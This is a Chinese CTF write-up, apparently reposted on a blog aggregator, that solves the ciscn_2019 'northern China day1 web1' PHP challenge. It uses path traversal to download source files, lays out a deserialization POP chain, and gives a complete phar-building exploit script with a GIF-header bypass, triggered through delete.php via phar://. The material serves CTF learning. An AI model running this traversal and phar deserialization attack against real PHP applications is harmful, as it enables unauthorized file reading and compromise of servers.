CTF ciscn_2019_web_northern_china_day1_web1复现

news2024/9/28 9:26:02

ciscn_2019_web_northern_china_day1_web1

复现,环境源于CTFTraining

分析

拿到题目扫描,发现没有什么有用资产
扫描过程中注册账号登录,发现上传入口
上传文件,发现下载删除行为,寻找功能点,发现不能访问uploads(扫出来的
访问上传的文件会定位回index.php
下载,发现能下载,前端源码并没有可以攻击的点,抓包
在这里插入图片描述
filename可以控制,很明显的钩子
下载download.php,发现不能直接下载,开始穿越目录,到第二层时成功
源码

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

下载class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

还有index.php (但是好像没什么用
发现文件读取函数file_get_contents()所以我们肯定是需要用到这个File->close()来获得flag

注意:任意文件下载漏洞过滤了flag​😞​


先找利用链到 => file_get_contents()

  • Files中的results会被输出,在执行__call魔术方法时会把调用func的输出存储在result
  • 为了调用__call我们需要调用一个FileList没有的方法
  • User在销毁时会对成员db调用close

总结出POP链:User:db->__destruct:db:close->FileList:__call->File:__close->file_get_contents()

下一步,找到利用的方法
CTF中PHP的类的问题一般与序列化有关,查找相关资料,发现phar的反序列化攻击漏洞

https://paper.seebug.org/680/
https://xz.aliyun.com/t/2715?u_atoken=32c59ca9934f4d8f741fb56c6cd1090b&u_asig=0a47314717273488256545069e003d

在这里插入图片描述


关键点在于文件操作函数,伪协议未过滤
由于此问中没有unserial函数而uploads.php中调用了File->open函数,open函数调用了file_exits()
在这里插入图片描述
所以时可以利用phar反序列化 通过魔术方法攻击

还有一个点,怎么调用 ​➡️​ 传参时用phpr://执行

执行

<?php
/*参考公布的资料
* 这题没限制文件类型
*/
class User {
    public $db;
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

class File {
    public $filename;
}

ini_set('phar.readonly',0);

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
// 通过user -> filelist -> file:__destruct
$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "ctftest"); //添加要压缩的文件
//签名自动计算

$phar->stopBuffering();
?>

php exp.php 报错phar.readonly

kali上更改php.ini配置:
先查看php.ini文件的位置 php -r 'phpinfo();' (在前几行
在这里插入图片描述
sudo grep -n 'phar.readonly' /etc/php/8.1/cli/php.ini 确定行数
sudo vim /etc/php/8.1/cli/php.ini 修改;phar.readonly=Onphar.readonly=Off(分号是注释的意思

再执行,获得phar.phar 上传发现有个验证gif\jpeg,增加前缀修改后缀,上传,em。。。就很难绷
在这里插入图片描述
还有个功能点没看delete (用之前的任意文件下载

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

ok,传参filename,用伪协议把phar执行了,然后发现flag回显了
在这里插入图片描述

Final

所以为啥我uploadfilename不行呢?
因为ini_set("open_basedir", getcwd() . ":/etc:/tmp"); phar执行时不能访问/uploads/phar.gif 😭
知识加一 ~

__call操作详解

  1. array_push($this->funcs, $func);

    • 将传入的不存在的方法名$func推入当前对象的$funcs数组中。这可能是为了记录所有被调用但实际上不存在的方法名称,以便后续处理或分析。
  2. foreach ($this->files as $file)

    • 遍历当前对象的$files属性,假设$files是一个包含多个对象的数组。
  3. $this->results[$file->name()][$func] = $file->$func();

    • 对于每个遍历到的$file对象,获取其名称作为键,将不存在的方法名$func作为内层键,然后调用$file对象上的这个不存在的方法,并将返回值存储在$this->results数组中。

exp详解

  1. ini_set('phar.readonly',0);

    • 这行代码将 PHP 的配置项 phar.readonly 设置为 0,表示允许创建和修改 Phar 文件。默认情况下,这个配置可能是设置为只读以提高安全性。
  2. @unlink("phar.phar");

    • 尝试删除名为 phar.phar 的文件。使用 @ 符号抑制可能出现的错误消息。这一步可能是为了确保在创建新的 Phar 文件时不会出现同名文件冲突。
  3. $phar = new Phar("phar.phar"); //后缀名必须为 phar

    • 创建一个新的 Phar 对象,并指定文件名 phar.phar。Phar 文件是一种将多个文件和资源打包到一个单独文件中的归档格式,在 PHP 中可以方便地进行分发和部署。
  4. $phar->startBuffering();

    • 启动缓冲模式。在缓冲模式下,可以对 Phar 文件进行一系列的操作,而这些操作不会立即写入磁盘,直到调用 stopBuffering() 方法。
  5. $phar->setStub("<?php __HALT_COMPILER();?>"); //设置 stub

    • 设置 Phar 文件的 stub。Stub 是在 Phar 文件被执行时首先被执行的代码。这里的 stub 只是一个简单的 __HALT_COMPILER(); 语句,它会停止 PHP 编译器的执行,通常用于确保 Phar 文件的完整性和安全性。
    • $phar->setStub("GF89a<?php __HALT_COMPILER();?>");//设置 GIF头绕过
  6. $o = new User();$o->db = new FileList();

    • 创建一个 User 对象,并为其属性 db 分配一个新的 FileList 对象。这可能是为了将自定义的对象作为元数据存储在 Phar 文件中。
  7. $phar->setMetadata($o); //将自定义的 meta-data 存入 manifest

    • 将前面创建的 $o 对象作为元数据存储在 Phar 文件的 manifest 中。元数据可以包含关于 Phar 文件的各种信息,例如版本号、作者、依赖关系等。在这个例子中,自定义的 User 对象及其属性可能包含特定于应用程序的信息。
  8. $phar->addFromString("exp.txt", "glzjin"); //添加要压缩的文件

    • 向 Phar 文件中添加一个名为 exp.txt 的文件,内容为 "glzjin"。可以使用 addFromString 方法添加字符串内容作为文件,也可以使用其他方法添加实际的文件路径或资源。
  9. $phar->stopBuffering();

    • 停止缓冲模式,并将缓冲中的内容写入 Phar 文件。这一步确保所有的操作都被保存到磁盘上的 Phar 文件中。

ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”);

  1. ini_set("open_basedir", getcwd(). ":/etc:/tmp");
    • ini_set()函数用于在运行时设置 PHP 配置项的值。在这里,它设置了open_basedir配置项。
    • getcwd()函数返回当前工作目录的路径。这个路径与:/etc:/tmp一起组成了允许 PHP 脚本访问的文件系统路径列表。

设置open_basedir有以下几个主要作用:

  1. 增强安全性:通过限制 PHP 脚本只能访问特定的目录,可以防止恶意脚本访问敏感的系统文件或其他不应该被访问的区域。例如,防止脚本访问系统的关键配置文件或其他用户的文件。
  2. 提高稳定性:限制文件系统访问范围可以减少由于脚本错误或恶意行为导致的文件系统损坏或数据泄露的风险。
  3. 优化性能:在某些情况下,限制访问范围可以减少文件系统的搜索时间,提高脚本的执行效率。

Thanks to LLM : )

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2168650.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Redis入门到精通七】详解Redis持久化机制(AOF,RDB)

目录 Redis持久化机制 1.RDB持久化 &#xff08;1&#xff09;手动触发RDB持久化 &#xff08;2&#xff09;自动触发RDB持久化 &#xff08;3&#xff09;Redis文件相关处理 &#xff08;4&#xff09;RDB持久化的优缺点 2.AOF持久化 &#xff08;1&#xff09;AOF工作…

基于nodejs+vue的农产品销售管理系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码 精品专栏&#xff1a;Java精选实战项目…

AIGAME的核心技术竞争力与未来生态规划

AIGAME凭借其领先的区块链和人工智能技术&#xff0c;打造了全球首个融合链游、DeFi和加密聊天的Web3娱乐平台。平台的核心技术创新和多元化生态规划&#xff0c;将推动全球虚拟资产管理和娱乐行业的变革。 AIGAME的核心技术竞争力源于其对区块链和人工智能&#xff08;AI&…

你知道吗?制造手机芯片的关键竟然是一台“打印机”?

在我们每天离不开的智能手机里&#xff0c;藏着一颗小小的“心脏”——芯片。它虽小&#xff0c;却拥有着强大的计算能力&#xff0c;能够让我们随时随地与世界保持连接。你可能想象不到&#xff0c;制造这些精密芯片的关键设备&#xff0c;竟然与我们日常使用的打印机有着惊人…

Jmeter实战——编写博客标签模块增删改查自动化脚本和压测

一、自动化脚本架构搭建 1、添加setUp线程组&#xff0c;测试标签新增功能&#xff1b;添加tearDown线程组&#xff0c;测试标签删除功能 这里可以将标签的增删改查写到一个线程组&#xff0c;但是为了实践setUp和tearDown线程组的使用&#xff0c;将它们写到不同线程组中了。…

C/C++—有关日期类的OJ题

✨✨ 欢迎大家来到小伞的大讲堂✨✨ &#x1f388;&#x1f388;养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; 所属专栏&#xff1a;C学习 小伞的主页&#xff1a;xiaosan_blog 1.计算日期到天数的转换(简单) 计算日期到天数转换__牛客网 (nowcoder.com)​​…

Qt-QTreeWidget多元素控件(38)

目录 描述 QTreeWidget 方法 QTreeWidget 信号 QTreeWidgetItem 属性 QTreeWidgetItem 方法 控制 使用 界面操作 代码操作 总结 描述 使⽤ QTreeWidget 表⽰⼀个树形控件.⾥⾯的每个元素,都是⼀个 QTreeWidgetItem ,每个 QTreeWidgetItem 可以包含多个⽂本和图标,每…

电脑系统重装系统盘文件还能恢复吗?

当我们的电脑出现中病毒、系统文件受损、系统变慢、无法启动或蓝屏等情况&#xff0c;大部分朋友都会选择重装系统。但重装系统后原来保存在系统盘的文件都会被删除。遇到这种情况&#xff0c;我们还有方法可以恢复之前保存在系统盘的文件吗&#xff1f; 一、从备份中恢复数据 …

智能优化算法-人工鱼群优化算法(ASFA)(附源码)

目录 1.内容介绍 2.部分代码 3.实验结果 4.内容获取 1.内容介绍 人工鱼群优化算法 (Artificial Fish Swarm Algorithm, AFSA) 是一种基于群体智能的元启发式优化算法&#xff0c;它模拟了鱼群的觅食、聚群和避障行为&#xff0c;用于解决复杂的优化问题。 AFSA的工作机制主要…

Xilinx的JESD204B PHY层IP仿真及上板测试(JESD204B四)

本文配置JESD204B PHY的参数&#xff0c;分析其示例工程&#xff0c;并且对该IP进行仿真&#xff0c;由于该IP只是物理层&#xff0c;并没有上层协议&#xff0c;因此与GTX/H其实没有太大区别。 1、配置IP 如下图所示&#xff0c;在IP Catalog中搜索JESD204B的PHY&#xff0c;…

国产RISC-V案例分享,基于全志T113-i异构多核平台!

RISC-V核心优势 全志T113-i是一款双核Cortex-A7@1.2GHz国产工业级处理器平台,并内置玄铁C906 RISC-V和HiFi4 DSP双副核心,可流畅运行Linux系统与Qt界面,并已适配OpenWRT系统、Docker容器技术。 而其中的RISC-V属于超高能效副核心,主频高达1008MHz,标配内存管理单元,可运…

python 魔法方法简记

简单记录python中的魔法方法 一、构造与析构 __init__(self[,...]) 需要初始化时可重写__init__方法 __new__(cls[,...]) 以类为参数&#xff0c;返回实例化对象 __del__(self) 前两个为构造器&#xff0c;此为析构器&#xff0c;用于销毁对象 二、算术运算 1、算术运算…

大文件想要传输成功,怎么把ZIP文件分卷压缩

不知道各位小伙伴有没有这样的烦恼&#xff0c;发送很大很大的压缩包会受到限制&#xff0c;为此&#xff0c;想要在压缩过程中将文件拆分为几个压缩包并且同时为所有压缩包设置加密应该如何设置&#xff1f; 方法一&#xff1a;使用7-Zip免费且强大的文件管理工具 7-Zip也是一…

MATLAB定位程序与讲解【专栏介绍】

AOA&#xff08;到达角度&#xff09;定位原理&#xff1a; 描述了基于到达角度进行定位的方法&#xff0c;适用于一维、二维或三维空间。 由动静压之比求马赫数的MATLAB函数&#xff1a; 提供了一个计算马赫数的函数&#xff0c;用于流体力学中速度的计算。 三边法定位与三点法…

【电子通识】案例:连接器接线顺序评估为什么新人总是评估不到位?

在一个IC卡切换的工装板(一切多)中,设计需求是一张PCB(充当活动卡片)插入读卡器,将卡片中的所有信号引出通过连接器连接到后级设备。 比如下图所示是一种IC卡压力测试设备,使用钢片卡片将压力信号通过连接器引入测试设备。 最后根据ISO/IEC 7816-2标准中我们看到…

hexo本地部署-图文教程

hexo本地部署-图文教程 最终效果前置条件安装使用配置主题创建页面标签页分类页友链页404页 个性化设置语言及网站信息设置导航栏,菜单目录头像及背景封面图美化特效 模板页的配置说明页面 Front-matter文章 Front-matter 最终效果 前置条件 你的电脑需要有git,node环境 安装使…

MySQL 中优化 COUNT()查询的实用指南

在 MySQL 数据库的使用中&#xff0c;我们经常会用到 COUNT()函数来统计行数或满足特定条件的行数。然而&#xff0c;在处理大规模数据时&#xff0c;COUNT()查询可能会变得非常缓慢&#xff0c;影响数据库的性能。那么&#xff0c;如何在 MySQL 中优化 COUNT()查询呢&#xff…

TRIZ理论在机器人性能优化中的应用

随着机器人应用场景的不断拓展&#xff0c;对机器人性能的要求也日益提高。如何在保证功能多样化的同时&#xff0c;提升机器人的性能稳定性、效率及智能化水平&#xff0c;成为了工程师和研发人员面临的重大挑战。TRIZ理论&#xff0c;即发明问题解决理论&#xff0c;以其系统…

Python和C++及MATLAB距离相关性生物医学样本统计量算法及数据科学

&#x1f3af;要点 统计观测值之间距离计算代谢组学和脂质组学分析相关距离矩阵计算卡方检验偏差校正快速计算距离协方差算法大规模生物系统分析距离矩阵相关性测试石油勘探统计学关系 Python距离矩阵 在数学、计算机科学&#xff0c;尤其是图论中&#xff0c;距离矩阵是一…

02-Mybatis基础操作

1. Mybatis基础操作 1.1 需求 需求说明&#xff1a; 根据资料中提供的《tlias智能学习辅助系统》页面原型及需求&#xff0c;完成员工管理的需求开发 通过分析以上的页面原型和需求&#xff0c;我们确定了功能列表&#xff1a; 查询 根据主键ID查询条件查询 新增更新删除 根…